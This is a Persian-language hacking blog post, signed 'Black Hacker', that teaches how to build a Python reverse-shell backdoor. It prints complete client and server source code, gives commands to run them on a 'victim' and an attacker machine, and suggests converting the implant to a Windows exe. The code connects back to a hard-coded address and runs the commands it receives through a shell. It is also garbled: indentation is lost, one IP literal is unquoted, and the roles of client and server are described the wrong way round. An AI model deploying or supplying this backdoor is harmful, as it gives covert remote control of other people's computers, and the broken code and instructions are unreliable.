با سلام به دوستان عزیزم 


امروز قصد داریم به شما یاد بدیم که چجوری به زبان پایتون یک Backdoor Reverse Shell بنویسید .


خوب بریم سراغ آموزش


توضیح زیادی نمیدم و سورس کد هارو براتون قرار میدم و خودتون برید تست کنید . و در پست بعدی بهتون سوکت نویسی در پایتون رو یاد میدم .



سورسی که باید در سیستم حمله کننده اجرا شه ( Client )

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_client.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import socket, os, subprocess, sys, re
class ReverseShellClient:
s = None
def connect(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(4444)
try:
print '[!] trying to connect to %s:%s' % (host, port)
self.s.connect((192.168.1.100, 4444))
print '[*] connection established'
self.s.send(os.environ['COMPUTERNAME'])
except:
print >> sys.stderr, 'could not connect'
def receive(self):
received = self.s.recv(1024)
tokens = re.split('\s+', received, 1)
command = tokens[0]
if command == 'quit':
self.s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output = proc2.stdout.read() + proc2.stderr.read()
else:
output = 'args must follow "shell"'
else:
output = 'valid input is "quit" or "shell <cmd>" (e.g. "shell dir")'
self.send(output)
def send(self, output):
self.s.send(output)
self.receive()
def stop():
self.s.close()
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('host')
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
client = ReverseShellClient()
client.connect(args.host, args.port)
client.receive()
client.stop()



در قسمتی که رنگ زرد زده شده  نام پورت هستش که خودتون میتونید تغییرش بدید 




خوب حالا میریم تا بخش Server  که باید توی سیستم قربانی اجرا بشه رو مینویسیم .


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_server.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import sys, os, os.path
import socket
class ReverseShellServer:
host = '192.168.1.100'
port = 4444
s = None
max_bind_retries = 10
conn = None
addr = None
hostname = None
def create(self, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = port
def bind(self, current_try=0):
try:
print "listening on port %s (attempt %d)" % (self.port, current_try)
self.s.bind((self.host, self.port))
self.s.listen(1)
except socket.error as msg:
print >> sys.stderr, 'socket binding error:', msg[0]
if current_try < self.max_bind_retries:
print >> sys.stderr, 'retrying...'
self.bind(current_try + 1)
def accept(self):
try:
self.conn, self.addr = self.s.accept()
print '[!] session opened at %s:%s' % (self.addr[0], self.addr[1])
self.hostname = self.conn.recv(1024)
self.menu()
except socket.error as msg:
print >> sys.stderr, 'socket accepting error:', msg[0]
def menu(self):
while True:
cmd = raw_input(str(self.addr[0]) + '@' + str(self.hostname) + '> ')
if cmd == 'quit':
self.conn.close()
self.s.close()
return
command = self.conn.send(cmd)
result = self.conn.recv(16834)
if result <> self.hostname:
print result
def main(args):
server = ReverseShellServer()
server.create(args.port)
server.bind()
server.accept()
print '[*] returned from socketAccept'
return 0
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
code = main(args)
exit(code)


دوباره قسمت هایی که زرد رنگ هستش رو با مشخصاتی که دوست دارید پر کنید



خوب برای اینکه بکدور روی سیستم اجرا بشه باید اون رو خودتون دستی اجرا کنید


برای این کار این دستور رو در خط فرمان سیستم قربانی میزنید


python revshell_server.py

و سپس در سیستم هکر این دستور رو بزنید  


C:\> python revshell_client.py 192.168.1.100
 خوب به جای آی پی که من وارد کرده ام میتونید آی پی که خودتون دوست دارید رو بزنید


توجه : شما میتونید فایل server رو که درست کردید رو به یک فایل اجرای ویندوز یعنی exe تبدیل کنید

تا دیگر نیازی به اجرا کردن فایل توسط خط فرمان نباشد و به صورت یک فایل exe آن رو اجرا کنید




امیدوارم این مطلب آمونده بوده باشد

موفق و سربلند باشید


Black Hacker

It-Video.blog.ir